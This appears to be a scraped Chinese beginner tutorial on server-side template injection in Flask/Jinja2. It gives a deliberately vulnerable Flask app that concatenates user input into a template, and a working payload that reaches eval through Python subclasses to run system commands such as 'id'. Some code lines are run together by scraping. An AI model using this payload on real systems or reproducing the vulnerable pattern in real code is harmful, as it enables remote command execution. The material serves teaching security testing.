当前位置: 首页 > news >正文

【ssti模板注入基础】

一、ssti模板注入简介

请添加图片描述

二、模板在开发中的应用

为什么要使用模板

请添加图片描述
为什么要用模板来提升效率:

请添加图片描述
不管我们输入什么,有一部分内容都是不会变的
请添加图片描述
请添加图片描述
除了内容之外其他都不会变,如果我们有成千上万的页面,如果不用模板,就算复制粘贴也是很大的工作量

但是 有了模板之后,我们就可以把重复的内容写在模板里,当我们要写页面时,只需要把数据写进去就可以了

MTV这种开发模式的核心就是达成一个前后端分离的效果,可以方便开发和移植,因为每个部分各司其职,就算模型坏掉了,只需要对模型就行修改即可

MTV 图解

请添加图片描述
当用户输入url 时 会经过url控制器,用url去匹配对应的视图函数,视图函数可能会有和数据库交互的部分,和数据库交互的部分就会发给model,model会从数据库取数据再返回视图,当视图不需要和数据库进行交互时,视图就会把要展示的数据直接返回给模板,模板经过渲染之后,就会成切html文件返回给用户,而我们的ssti漏洞是存在于将用户的数据和模板合在一起进行渲染这个过程中的

三、SSTI初体验

from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route('/') #路由地址,如果里面是/123那么就是当访问127.0.0.1/123的时候就会触发这个路由下的方法
def index(): #路由对应的函数  这个函数对应视图这一部分name = request.args.get('name', 'gust') #获取用户的输入,如果没有获取到name这个参数默认为gustt = Template("Hello " + name)  #设置模板 把hello 和 name拼接return t.render()  #渲染模板并返回if __name__ == '__main__':app.run(port=80) #启动网站 设置80端口

运行后访问127.0.0.1就显示出来了
请添加图片描述
当我们给name传入123,它就会显示
请添加图片描述
接下来我们就开始对网站进行测试了:
使用下面的payload可执行id命令:

#执行系统命令
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

请添加图片描述
换成dir,就实现了这个命令,所以我们已经getshell了:
请添加图片描述

四、SSTI基础

请添加图片描述
请添加图片描述

变量

变量是由两个花括号括起来的:
请添加图片描述
加也是一样,不过加号需要我们用url编码,不然+在url编码里是空格的意思:
请添加图片描述

for循环

我们写一个for循环打印1到10:
请添加图片描述

if 判断

请添加图片描述

相关文章:

  • 如何学习嵌入式
  • 阿里云OSS
  • 回收镀锡废水的必要性(笔记)
  • jwt的无感刷新
  • 【天外之物】叉乘获得法向量
  • Linux——进程通信
  • Serverless集群搭建:Knative
  • Vulhub - Goldeneye记录
  • ON DUPLICATE KEY UPDATE 更底层解释它的优势
  • 快速排序(2)
  • 天线静电防护:NRESDTLC5V0D8B
  • ‌软件接口压力测试方案模板
  • 如何编译得到elf文件
  • 边缘匹配+双直线
  • QT的信号槽的直接触发,队列触发,自动触发
  • # 使用python写一个PDF文件转换成word 文件
  • 【Linux 并发与竞争实验】
  • Python自学第1天:变量,打印,类型转化
  • FoundationPose 4090部署 真实场景迁移
  • 聊聊 JUC 下的 CountDownLatch、CyclicBarrier、Phaser 和 Semaphore
  • 哪里有做网站app的/seo搜索优化技术
  • 市体育局网站 两学一做/推广优化
  • 网站wordpress入侵/seo推广服务
  • 华为云云速建站教程/app注册拉新平台
  • 国外客户推广网站/seo需要付费吗
  • 现在的网站开发框架/南宁优化网站收费